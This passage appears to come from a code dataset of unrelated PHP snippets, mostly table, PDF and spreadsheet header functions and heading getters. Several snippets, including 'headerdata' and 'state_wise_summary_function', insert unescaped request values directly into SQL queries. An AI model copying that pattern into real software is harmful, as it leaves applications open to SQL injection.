2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "public function mombo_main_headings_color() {\n \n \n }", "public function getHeadings(): iterable;", "public function headings(): array\n {\n return ['ID', 'Email ID', 'Status', 'Created At', 'Last Updated At'];\n }", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "public function __Header(){\n $this->Ln(5);\n $this->SetDrawColor(160,160,160);\n $this->SetFillColor(230,230,230);\n $this->SetTextColor(100);\n $this->SetFont('Arial','B',7);\n $this->SetX(($this->w - $this->_tWidth)/2);\n foreach($this->_fields as $field)\n $this->Cell($field[\"size\"],5,$field[\"header\"],1,0,\"C\",true);\n $this->Ln();\n }", "abstract protected function getRowsHeader(): array;", "public function getAdminPanelHeaderData() {}", "function weekviewHeader()\n {\n }", "protected function buildHeaders() {\n\n $headers = array();\n\n foreach($this->states as $state_id => $state) {\n $headers[] = $state['label'];\n }\n\n return $headers;\n }", "public function beginLabelSheet ()\r\n {\r\n $this->label_column = 1;\r\n $this->label_row = 1;\r\n return '\r\n <div class=\"labelpage\">\r\n <div class=\"labelrow\">\r\n <div class=\"labelbody\">';\r\n }", "public function pi_list_header() {}", "public function getHeading()\n {\n return $this->heading;\n }", "function table_table_header_row($values)\n{\n\t$cells=new ocp_tempcode();\n\tforeach ($values as $value)\n\t{\n\t\t$cells->attach(do_template('TABLE_TABLE_HEADER_ROW_CELL',array('_GUID'=>'5002f54ccddf7259f3460d8c0759fd1a','VALUE'=>$value)));\n\t}\n\n\treturn do_template('TABLE_TABLE_HEADER_ROW',array('_GUID'=>'2f4095b8d30f50f34fdd6acf8dd566b1','CELLS'=>$cells));\n}", "public function headings(): array\n {\n return [\n 'id',\n 'name',\n 'email',\n 'active',\n 'roles', /*,\n 'email_verified_at',\n 'password',\n 'remember_token',*/\n ];\n }", "function constructTableHead() {\n\n $header = '<tr><th>Country</th>';\n if (isset($_GET['pop'])) {\n $header .= '<th>Total Population</th>';\n }\n if (isset($_GET['birth'])) {\n $header .= '<th>Birth Rate</th>';\n }\n if (isset($_GET['death'])) {\n $header .= '<th>Death Rate</th>';\n }\n\n $header .= '</tr>';\n return $header;\n }", "function header (){\n\t\t$this->setfont('Arial','B', 16);\n\t\t$this->settextcolor(0, 0, 0);\n\t\t$this->cell(0, 10, 'WANANCHI', 0, 0, 'C');\n\t\t$this->Ln(10);\n\t\t$this->setfont('Arial','',12);\n\t\t$this->settextcolor(0, 0, 0);\n\t\t$this->cell(0, 10, 'INFORMATION',0, 0, 'C');\n\t\t$this->Ln(30);\n\t}", "function tck_table_head_cells($cells) {\n $newcells['custom'] = yourls__('Custom Keyword');\n $newcells['actions'] = $cells['actions'];\n \n unset($cells['actions']);\n return array_merge($cells, $newcells);\n }", "private function renderSectionHeadings() {\n\t\t$headings = array();\n\t\t$separator = $this->getSubpart('HEADING_SEPARATOR');\n\n\t\tforeach ($this->sections as $key => $section) {\n\t\t\t$class = ($key == 0) ? 'tx-explanationbox-pi1-active' : 'tx-explanationbox-pi1-inactive';\n\n\t\t\t$this->setMarker('class_heading', $class);\n\t\t\t$this->setMarker('heading_number', $key);\n\t\t\t$this->setMarker('heading', htmlspecialchars($section['title']));\n\t\t\t$headings[] = $this->getSubpart('SINGLE_HEADING');\n\t\t}\n\n\t\tif (count($this->sections) > 1) {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-active');\n\t\t} else {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-inactive');\n\t\t}\n\n\t\t$this->setMarker('number_of_sections', count($this->sections));\n\t\t$this->setSubpart('SECTION_HEADINGS', implode($separator, $headings));\n\t}", "public function getHeadCode()\n {\n return $this->head_code;\n }", "public function getHeaderData() {}", "public function headerdata($sumberdata)\n {\n $sql1 = \"SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'db_nakertrans' AND TABLE_NAME = '$sumberdata'\";\n $dataheader = $this->db->query($sql1)->result_array();\n\n return $dataheader;\n }", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "function Header() \n { \n\n list($r, $b, $g) = $this->xheadercolor; \n $this->setY(10); // shouldn't be needed due to page margin, but helas, otherwise it's at the page top \n $this->SetFillColor($r, $b, $g); \n $this->SetTextColor(0 , 0, 0); \n $this->Cell(0,20, '', 0,1,'C', 1); \n $this->Text(15,26,$this->xheadertext ); \n }", "abstract public function openTableHead();", "function Table_Headers($header,$w)\r\n{\r\n //Colors, line width and bold font\r\n $this->SetFillColor(153,153,153);\r\n $this->SetTextColor(0);\r\n $this->SetDrawColor(128,0,0);\r\n $this->SetLineWidth(.3);\r\n $this->SetFont('Arial','B','7');\r\n\t\r\n //Header\r\n\t\r\n\t//Output table header\r\n for($i=0;$i<count($header);$i++)\r\n $this->Cell($w[$i],5,$header[$i],1,0,'C',1);\r\n $this->Ln();\r\n}", "function getTableStateChart()\n{\n\tglobal $dbObjMirrors;\n\n\t$RCCAQuery = \"SELECT * FROM [mirrors].[dbo].[View_LSIP2_RCCA] ORDER BY id DESC\";\n\n\t$RCCAResult = $dbObjMirrors->executeQuery($RCCAQuery);\n\n\treturn $RCCAResult;\n}", "public function state_wise_summary_function($path4, $sales_year_values) {\n//function to get data from excel files\n\n $object = PHPExcel_IOFactory::load($path4);\n $worksheet = $object->getActiveSheet();\n $highestRow = $worksheet->getHighestRow();\n $highestColumn = $worksheet->getHighestColumn();\n $customer_id = $this->input->post(\"cust_id\");\n $insert_id = $this->generate_insert_id();\n $customer_file_years = $this->input->post('customer_file_years');\n $j = 0;\n\n $abcl = $object->getActiveSheet()->getCell('A' . 3)->getValue();\n// echo $abcl;\n $aa = (explode(\" \", $abcl));\n// print_r($aa);\n\n $b = substr($customer_file_years, 7);\n $a = substr($customer_file_years, 0, -4);\n\n $x = $a . $b;\n// echo $x;\n if ($customer_file_years == \"\") {\n $response['id'] = 'customer_file_years';\n $response['error'] = 'Please Select year';\n echo json_encode($response);\n exit;\n } else if ($aa[2] == $x) {\n $query = $this->db2->query(\"SELECT * FROM `state_wise_summary_all` where customer_id='$customer_id'\");\n if ($this->db2->affected_rows() > 0) {\n $state_wise_history = $this->insert_state_wise_history($customer_id);\n if ($state_wise_history == true) {\n\n for ($i = 8; $i <= $highestRow; $i++) { // loop to get last row number to get state\n if ($object->getActiveSheet()->getCell('B' . $i)->getValue() == \"Total\") {\n $j++;\n }\n if ($j > 0) {\n break;\n }\n }\n $total_row_num = $i;\n $all_state = array();\n $str = \"(4) Cr Note Details\";\n\n for ($k = 8; $k < $total_row_num; $k++) { //loop get state data\n $all_state[] = $object->getActiveSheet()->getCell('D' . $k)->getValue();\n }\n $states1 = array_unique($all_state); //unique array of state\n $states = array_values($states1); //change array indexes\n $count = count($states);\n $a1 = 0;\n $arr_taxable_value = array();\n for ($m1 = 0; $m1 < $count; $m1++) {\n if ($m1 < ($count)) {\n $state_new = $states[$m1];\n } else {\n $state_new = $states[0];\n }\n\n $taxable_value = 0;\n\n// echo $highestRow;\n for ($l = 8; $l <= $highestRow; $l++) { //loop to get data statewise\n $a2 = $object->getActiveSheet()->getCell('A' . $l)->getValue();\n if ($a2 == \"(4) Cr Note Details\") {\n $a1 = 1;\n } else if ($a2 == \"(5) Dr Note Details\") {\n $a1 = 2;\n }\n if ($object->getActiveSheet()->getCell('D' . $l)->getValue() == $state_new) {\n if ($a1 == 0 or $a1 == 2) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value += $tax_val;\n } else if ($a1 == 1) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value -= $tax_val;\n }\n }\n }\n\n $arr_taxable_value[] = $taxable_value;\n }\n//insert data of other states\n\n for ($m = 0; $m < $count; $m++) {\n\n $quer = $this->db2->query(\"insert into state_wise_summary_all (`customer_id`,`insert_id`,`state_name`,`taxable_value`)values ('$customer_id','$insert_id','$states[$m]','$arr_taxable_value[$m]')\");\n }\n// get array for maharashtra.\n $taxable_value_mh = 0;\n// $arr_taxable_value_mh = array();\n for ($l = 8; $l <= $highestRow; $l++) { //loop to get data statewise\n $a2 = $object->getActiveSheet()->getCell('A' . $l)->getValue();\n if ($a2 == \"(4) Cr Note Details\") {\n $a1 = 1;\n } else if ($a2 == \"(5) Dr Note Details\") {\n $a1 = 2;\n }\n if ($object->getActiveSheet()->getCell('D' . $l)->getValue() == \"MAHARASHTRA\") {\n if ($a1 == 0 or $a1 == 2) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value_mh += $tax_val;\n } else if ($a1 == 1) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value_mh -= $tax_val;\n }\n }\n }\n $taxable_value_mh = $taxable_value_mh;\n }\n } else {\n for ($i = 8; $i <= $highestRow; $i++) { // loop to get last row number to get state\n if ($object->getActiveSheet()->getCell('B' . $i)->getValue() == \"Total\") {\n $j++;\n }\n if ($j > 0) {\n break;\n }\n }\n $total_row_num = $i;\n $all_state = array();\n $str = \"(4) Cr Note Details\";\n\n for ($k = 8; $k < $total_row_num; $k++) { //loop get state data\n $all_state[] = $object->getActiveSheet()->getCell('D' . $k)->getValue();\n }\n $states1 = array_unique($all_state); //unique array of state\n $states = array_values($states1); //change array indexes\n $count = count($states);\n $a1 = 0;\n $arr_taxable_value = array();\n for ($m1 = 0; $m1 < $count; $m1++) {\n if ($m1 < ($count)) {\n $state_new = $states[$m1];\n } else {\n $state_new = $states[0];\n }\n\n $taxable_value = 0;\n\n// echo $highestRow;\n for ($l = 8; $l <= $highestRow; $l++) { //loop to get data statewise\n $a2 = $object->getActiveSheet()->getCell('A' . $l)->getValue();\n if ($a2 == \"(4) Cr Note Details\") {\n $a1 = 1;\n } else if ($a2 == \"(5) Dr Note Details\") {\n $a1 = 2;\n }\n if ($object->getActiveSheet()->getCell('D' . $l)->getValue() == $state_new) {\n if ($a1 == 0 or $a1 == 2) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value += $tax_val;\n } else if ($a1 == 1) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value -= $tax_val;\n }\n }\n }\n\n $arr_taxable_value[] = $taxable_value;\n }\n//insert data of other states\n\n for ($m = 0; $m < $count; $m++) {\n\n $quer = $this->db2->query(\"insert into state_wise_summary_all (`customer_id`,`insert_id`,`state_name`,`taxable_value`)values ('$customer_id','$insert_id','$states[$m]','$arr_taxable_value[$m]')\");\n $sales_year_values++;\n }\n// get array for maharashtra.\n $taxable_value_mh = 0;\n// $arr_taxable_value_mh = array();\n for ($l = 8; $l <= $highestRow; $l++) { //loop to get data statewise\n $a2 = $object->getActiveSheet()->getCell('A' . $l)->getValue();\n if ($a2 == \"(4) Cr Note Details\") {\n $a1 = 1;\n } else if ($a2 == \"(5) Dr Note Details\") {\n $a1 = 2;\n }\n if ($object->getActiveSheet()->getCell('D' . $l)->getValue() == \"MAHARASHTRA\") {\n if ($a1 == 0 or $a1 == 2) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value_mh += $tax_val;\n } else if ($a1 == 1) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value_mh -= $tax_val;\n }\n }\n }\n $taxable_value_mh = $taxable_value_mh;\n }\n// return $taxable_value_mh;\n } else {\n $response['id'] = 'file_ex_state_wise';\n $response['error'] = 'Year is mismatch with file.Please choose correct.';\n echo json_encode($response);\n exit;\n }\n\n//insert data of maharashtra\n\n $quer = $this->db2->query(\"insert into state_wise_summary_all (`customer_id`,`insert_id`,`state_name`,`taxable_value`)values ('$customer_id','$insert_id','MAHARASHTRA','$taxable_value_mh')\");\n $sales_year_values++;\n return $sales_year_values;\n }", "function setHeader($file_name){\t\n\t\t// echo date('H:i:s') , \" Set header/footer\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&L&G&C&HPlease treat this document as confidential!');\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&L&B' . $this->objPHPExcel->getProperties()->getTitle() . '&RPage &P of &N');\n\t\t// Set page orientation and size\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setPaperSize(PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4);\n\t\t// Rename worksheet\n\t\t// echo date('H:i:s') , \" Rename worksheet\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->setTitle($file_name);\n\t\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t\t$this->objPHPExcel->setActiveSheetIndex(0);\n\t\t// download the excel file\n\t\t$this->output($file_name);\n\t}", "public function get_game_one_heading () {\n\t\treturn get_field('field_5b476ff519749', $this->get_id());\n\t}", "private function get_tc_step_list($php_excel)\r\n {\r\n $sheet_count = $php_excel->getSheetCount();\r\n for ($sheet_index = 0; $sheet_index < $sheet_count; $sheet_index++)\r\n {\r\n $php_excel->setActiveSheetIndex($sheet_index);\r\n $sheet_row_count = $php_excel->getActiveSheet()->getHighestRow();\r\n \r\n // first row is title , no need to import\r\n for ($row = FIRST_DATA_ROW; $row <= $sheet_row_count; $row++)\r\n {\r\n $tc_step_node = $this->parse_row_from_excel($php_excel, $row);\r\n $this->tc_step_data_list[$this->tc_step_index] = $tc_step_node;\r\n $this->tc_step_index++;\r\n }\r\n }\r\n }", "public function getH1()\n\t{\n\t\treturn empty($this->h1) ? $this->name : $this->h1;\n\t}", "public function getHead();", "public function get_head()\n\t{\n\t\treturn $this->its_all_in_your_head;\n\t}", "public function get_heading() {\n\t\tif ( $this->object['voucher_count'] == 1 ) {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading ), $this->object );\n\t\t} else {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading_multiple ), $this->object );\n\t\t}\n\t}", "public function getHead()\n {\n return $this->Head;\n }", "public function getHeadTitle() {\n return $this->scopeConfig->getValue ( static::XML_PATH_TITLE, ScopeInterface::SCOPE_STORE );\n }", "public function tb_fin_head()\n\t{\n\t\t$query=$this->db->get('tb_fin_head');\n\t\treturn $query->result();\n\t}", "public function getHeadings(): Collection;", "function setHeadings($headings){\n\t\t\tglobal $tableHeadings;\n\t\t\t\n\t\t\t$tableHeadings = $headings;\n\t\t\t\n\t\t}", "function setHeadings($headings){\n\t\t\tglobal $tableHeadings;\n\t\t\t\n\t\t\t$tableHeadings = $headings;\n\t\t\t\n\t\t}", "public function buildHeader() {\n return [\n ['data' => t('Teaching format'), 'class' => ['align-middle']],\n ['data' => t('Event'), 'class' => ['align-middle']],\n ['data' => t('Tutor'), 'class' => ['align-middle']],\n ['data' => t('Location'), 'class' => ['align-middle']],\n ['data' => t('Room'), 'class' => ['align-middle']],\n [\n 'data' => t('Date/time'),\n 'field' => 'time.field_event_time_value',\n 'sort' => 'desc',\n 'class' => ['align-middle'],\n ],\n ['data' => t('Registration status'), 'class' => ['align-middle']],\n ];\n }", "function Header() {\n if(empty($this->title) || $this->PageNo() == 1) return;\n $oldColor = $this->TextColor;\n $this->SetTextColor(PDF_HEADER_COLOR['red'],\n PDF_HEADER_COLOR['green'],\n PDF_HEADER_COLOR['blue']);\n $x = $this->GetX();\n $y = $this->GetY();\n $this->SetY(10, false);\n $this->SetFont('', 'B');\n $this->Cell(0, 10, $this->title);\n $this->SetFont('', '');\n $this->SetXY($x, $y);\n $this->TextColor = $oldColor;\n }", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "public function header()\n\t{\n\t\treturn array(\t'Translation ID (Do not change)',\n\t\t\t\t\t\t'Translation Group (Do not change)',\n\t\t\t\t\t\t'Original Text (Do not change)',\n\t\t\t\t\t\t'Translated Text (Change only this column to new translated text)');\n\t}", "public static function get_edit_table_headers() {\n\n $headerdata = array();\n $headerdata[] = get_string('sequence', 'mod_simplelesson');\n $headerdata[] = get_string('pagetitle', 'mod_simplelesson');\n $headerdata[] = get_string('prevpage', 'mod_simplelesson');\n $headerdata[] = get_string('nextpage', 'mod_simplelesson');\n $headerdata[] = get_string('hasquestion', 'mod_simplelesson');\n $headerdata[] = get_string('actions', 'mod_simplelesson');\n\n return $headerdata;\n }", "function getHead($coment){\r\n\t\tif(isset($this->Head[$coment])) return $this->Head[$coment];\r\n\t\treturn '';\r\n\t}", "public function actionTitles()\n\t{\n $this->setPageTitle(\"IVR Branch Titles\");\n $this->setGridDataUrl($this->url('task=get-ivr-branch-data&act=get-titles'));\n $this->display('ivr_branch_titles');\n\t}", "public static function table_top_label () \n {\n $html = null;\n\n $html .= '<thead>\n <tr>\n <td id=\"cb\" class=\"manage-column column-cb check-column\">\n <label class=\"screen-reader-text\" for=\"cb-select-all-1\">\n Select All\n </label>\n <input id=\"cb-select-all-1\" type=\"checkbox\">\n </td>\n <th scope=\"col\" id=\"title\" class=\"manage-column column-title\">\n Name\n </th>\n <th scope=\"col\" id=\"tags\" class=\"manage-column column-tags column-primary\">\n Excerpt\n </th>\n <th scope=\"col\" id=\"author\" class=\"manage-column column-author\">\n Author\n </th>\n <th scope=\"col\" id=\"comments\" class=\"manage-column column-comments\">\n <span class=\"vers comment-grey-bubble\" title=\"Comments\">\n <span class=\"screen-reader-text\">\n Comments\n </span>\n </span>\n </th>\n <th scope=\"col\" id=\"date\" class=\"manage-column column-date\">\n Date\n </th> \n </tr>\n </thead>';\n\n return $html; \n }", "function Header()\n\t{\n\t\t$this->SetFont('Arial','',12);\n\t\t$this->MultiCell(190,5,nombre_empresa(),'0','C');\n\t\t$this->SetFont('Arial','',10);\n\t\t$this->MultiCell(190,5,tipo_serv(),'0','C');\n\t\t$this->SetFont('Arial','B',10);\n\t\t$this->SetTextColor(0,0,0);\n\t\t$this->MultiCell(190,7,strtoupper(_('listado de clientes para cortes')),'0','C');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->SetX(133);\n\t\t$this->Cell(12,5,strtoupper(_('fecha')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"d/m/Y\"),0,0,'L');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->Cell(12,5,strtoupper(_('hora')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"h:i:s A\"),0,0,'L');\n\t\t$this->Ln();\t\t\n\t}", "public function head()\n {\n return $this->dummy->head();\n }", "function write_table_head()//scrie capul de tabel pentru perioadele de vacanta\r\n{\r\n\t$output = \"\";\r\n\tadd($output,'<table width=\"500px\" cellpadding=\"1\" cellspacing=\"1\" class=\"special\">');\r\n\tadd($output,'<tr class=\"tr_head\"><td>Nr</td><td>Data inceput</td><td>Data sfarsit</td></tr>');\r\n\t\r\n\treturn $output;\r\n}", "public function setHeader() {\n $dt = date('j M, Y');\n $name_header = '';\n $ao = new Application_Model_DbTable_AuditOwner();\n if ($this->usertype != '') {\n $name_header = \"&nbsp {$this->userfullname}\";\n }\n $complete_user = array('ADMIN','USER','APPROVER');\n $complete_audit = '';\n $audit_id = $this->audit['audit_id'];\n logit(\"audit: \" . print_r($this->audit, true));\n $complete_audit .= <<<\"END\"\n<li class=\"divider\"></li>\n<li class=\"tri\"><span style=\"color:black;padding-left: 15px;\"> With Selected Audit:</span></li>\nEND;\n\n # incomplete and owned audit OR not incomplete audit can be viewed\n if (($this->audit['status'] == 'INCOMPLETE' && $this->audit['owner']) || $this->audit['status'] != 'INCOMPLETE') {\n $complete_audit .= <<<\"END\"\n<!li class=\"divider\"></li-->\n<li><a href=\"{$this->baseurl}/audit/view\"><span title=\".icon .icon-color .icon-book \" class=\"icon icon-color icon-book\"></span> View Audit</a></li>\nEND;\n }\n # only incomplete and owned audit can be edited\n if ($this->audit['status'] == 'INCOMPLETE' && $this->audit['owner']) {\n $complete_audit .= <<<\"END\"\n<!--li class=\"divider\"></li-->\n<li><a href=\"{$this->baseurl}/audit/edit/\"><span title=\".icon .icon-color .icon-edit \" class=\"icon icon-color icon-edit\"></span> Edit Audit</a></li>\nEND;\n }\n if (in_array($this->usertype, $complete_user)) {\n $complete_audit .= <<<\"END\"\n<!--li class=\"divider\"></li-->\n<li><a href=\"{$this->baseurl}/audit/exportdata\"><span title=\".icon .icon-color .icon-extlink \" class=\"icon icon-color icon-extlink\"></span> Export Audit Data</a></li>\nEND;\n if ($this->audit['owner']) {\n # $ao->isOwned($audit_id, $this->userid)) {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/delete\"\n onclick=\" return confirm('Do you want to delete Selected Audit?');\">\n <span title=\".icon .icon-color .icon-trash \" class=\"icon icon-color icon-trash\"></span>\n Delete Audit</a></li>\nEND;\n }\n $complete_audit .= <<<\"END\"\n<li class=\"divider\"></li>\n<li class=\"tri\"><span style=\"color:black;padding-left: 15px;\"> Change Audit State:</span></li>\nEND;\n if ($this->audit['status'] == 'INCOMPLETE' && $ao->isOwned($audit_id, $this->userid)) {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/complete\">\n<span title=\".icon .icon-color .icon-locked \" class=\"icon icon-color icon-locked\"></span> Mark Audit Complete</a></li>\nEND;\n }\n if ($this->audit['status'] == 'COMPLETE' && $ao->isOwned($audit_id, $this->userid)) {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/incomplete\">\n<span title=\".icon .icon-color .icon-unlocked \" class=\"icon icon-color icon-unlocked\"></span> Mark Audit Incomplete</a></li>\nEND;\n }\n if ($this->audit['status'] == 'COMPLETE' && $this->usertype == 'APPROVER') {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/finalize\"\nonclick=\" return confirm('Do you want to finalize Audit (#{$this->audit['audit_id']}-{$this->audit['tag']})?');\"><span title=\".icon .icon-color .icon-sent \" class=\"icon icon-color icon-sent\"></span> Mark Audit Finalized</a></li>\n<li><a href=\"{$this->baseurl}/audit/reject\"\n onclick=\" return confirm('Do you want to reject Audit (#{$this->audit['audit_id']}-{$this->audit['tag']})?');\"><span title=\".icon .icon-color .icon-cross \" class=\"icon icon-color icon-cross\"></span> Mark Audit Rejected</a></li>\nEND;\n }\n }\n $this->header = <<<\"END\"\n<div class=\"navbar\">\n <div class=\"navbar-inner\">\n <div class=\"container-fluid\">\n <a class=\"brand\" href=\"{$this->baseurl}{$this->mainpage}\">\n <span title=\".icon .icon-black .icon-check \" class=\"icon icon-black icon-check\"></span> <span>eChecklist</span>\n </a>\nEND;\n $newuser = '';\n if ($this->usertype != '') {\n if ($this->usertype == 'ADMIN') {\n $newuser = <<<\"END\"\n<li><a href=\"{$this->baseurl}/user/create\">\n<span title=\".icon .icon-green .icon-user \" class=\"icon icon-green icon-user\"></span> New User</a></li>\nEND;\n }\n\n $this->header = $this->header . <<<\"END\"\n<div class=\"btn-group pull-left\" style=\"margin-left:100px;\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n <span title=\".icon .icon-blue .icon-clipboard \" class=\"icon icon-blue icon-clipboard\"></span>\n <span class=\"hidden-phone\">Audit</span>\n <span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\nEND;\n if (in_array($this->usertype, $complete_user)) {\n $this->header .= <<<\"END\"\n <li><a href=\"{$this->baseurl}/audit/create\"><span title=\".icon .icon-green .icon-clipboard \" class=\"icon icon-green icon-clipboard\"></span> New Audit</a></li>\nEND;\n }\n $this->header .= <<<\"END\"\n <li><a href=\"{$this->baseurl}/audit/search\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span> Search for Audit</a></li>\n{$complete_audit}\n <li class=\"divider\"></li>\n <li><a href=\"{$this->baseurl}/audit/runreports\"><span title=\".icon .icon-color .icon-newwin \" class=\"icon icon-color icon-newwin\"></span> Run Reports</a></li>\nEND;\n\n if (in_array($this->usertype, $complete_user)) {\n $this->header .= <<<\"END\"\n <li class=\"divider\"></li>\n <li><a href=\"{$this->baseurl}/audit/import\"><span title=\".icon .icon-blue .icon-import \" class=\"icon icon-blue icon-archive\"></span> Import Audit</a></li>\nEND;\n }\n $this->header .= <<<\"END\"\n</ul>\n</div>\n\n<div class=\"btn-group pull-left\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n <span title=\".icon .icon-blue .icon-tag \" class=\"icon icon-blue icon-tag\"></span>\n <span class=\"hidden-phone\">Lab</span>\n <span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\n <li><a href=\"{$this->baseurl}/lab/create\"><span title=\".icon .icon-green .icon-tag \" class=\"icon icon-green icon-tag\"></span> New Lab</a></li>\n <li><a href=\"{$this->baseurl}/lab/select\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span> Select a Lab</a></li>\n <li class=\"divider\"></li>\n <li><a href=\"{$this->baseurl}/lab/edit\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span> Edit Selected Lab</a></li>\n</ul>\n</div>\n\n<div class=\"btn-group pull-left\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n<span title=\".icon .icon-blue .icon-user \" class=\"icon icon-blue icon-user\"></span>\n<span class=\"hidden-phone\">User</span>\n<span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\n {$newuser}\n <li><a href=\"{$this->baseurl}/user/find\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span>Find User</a></li>\n</ul>\n</div>\n\n<!--div class=\"btn-group pull-left\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n<span title=\".icon .icon-blue .icon-flag \" class=\"icon icon-blue icon-flag\"></span>\n<span class=\"hidden-phone\">Language</span>\n<span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\n <li><a href=\"{$this->baseurl}/language/switch/EN\"><span title=\".icon .icon-green .icon-flag \" class=\"icon icon-green icon-flag\"></span> English</a></li>\n <li><a href=\"{$this->baseurl}/language/switch/FR\"><span title=\".icon .icon-green .icon-flag \" class=\"icon icon-green icon-flag\"></span> French</a></li>\n <li><a href=\"{$this->baseurl}/language/switch/VI\"><span title=\".icon .icon-green .icon-flag \" class=\"icon icon-green icon-flag\"></span> Vietnamese</a></li>\n</ul>\n</div-->\n\n<!-- user dropdown starts -->\n<div class=\"btn-group pull-right\">\n <a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n <span title=\".icon .icon-orange .icon-user \" class=\"icon icon-orange icon-user\"></span>\n <span class=\"hidden-phone\"> {$name_header}</span>\n\t<span class=\"caret\"></span>\n </a>\n <ul class=\"dropdown-menu\">\n <li><a href=\"{$this->baseurl}/user/profile\"><span title=\".icon .icon-blue .icon-contacts \" class=\"icon icon-blue icon-contacts\"></span> Profile</a></li>\n <li><a href=\"{$this->baseurl}/user/changepw\"><span title=\".icon .icon-blue .icon-contacts \" class=\"icon icon-blue icon-contacts\"></span> Change Password</a></li>\n <li class=\"divider\"></li>\n\t<li><a href=\"{$this->baseurl}/user/logout\">Logout</a></li>\n </ul>\n</div>\n<!-- user dropdown ends -->\nEND;\n $auditinfo = '';\n //if ($this->dialog_name == 'audit/edit') {\n $auditinfo = \"<div style=\\\"margin:6px 0 6px 20px;padding-right:5px;\\\">Selected Audit: {$this->showaudit}</div>\";\n //}\n $this->header .= <<<\"END\"\n<div style=\"display:inline-block;\">\n <div style=\"margin:6px 0px 6px 20px;padding-right:5px;\">Selected Lab: {$this->showlab}</div>\n {$auditinfo}\n <div style=\"clear:both;\"></div></div>\nEND;\n } else {\n $this->header = $this->header . <<<\"END\"\n<div class=\"btn-group pull-left\" style=\"margin-left:100px;\">\n<a class=\"btn\" href=\"{$this->baseurl}/user/login\"><span title=\".icon .icon-blue .icon-contacts \" class=\"icon icon-blue icon-contacts\"></span> Login</a></div>\nEND;\n }\n $this->header = $this->header . <<<\"END\"\n </div>\n </div> <!-- style=\"clear:both;\"></div -->\n</div>\nEND;\n\n $this->view->header = $this->header;\n }", "protected function getTableHeader() {\n /** @var \\Drupal\\webform\\WebformInterface $webform */\n $webform = $this->getEntity();\n $header = [];\n $header['title'] = 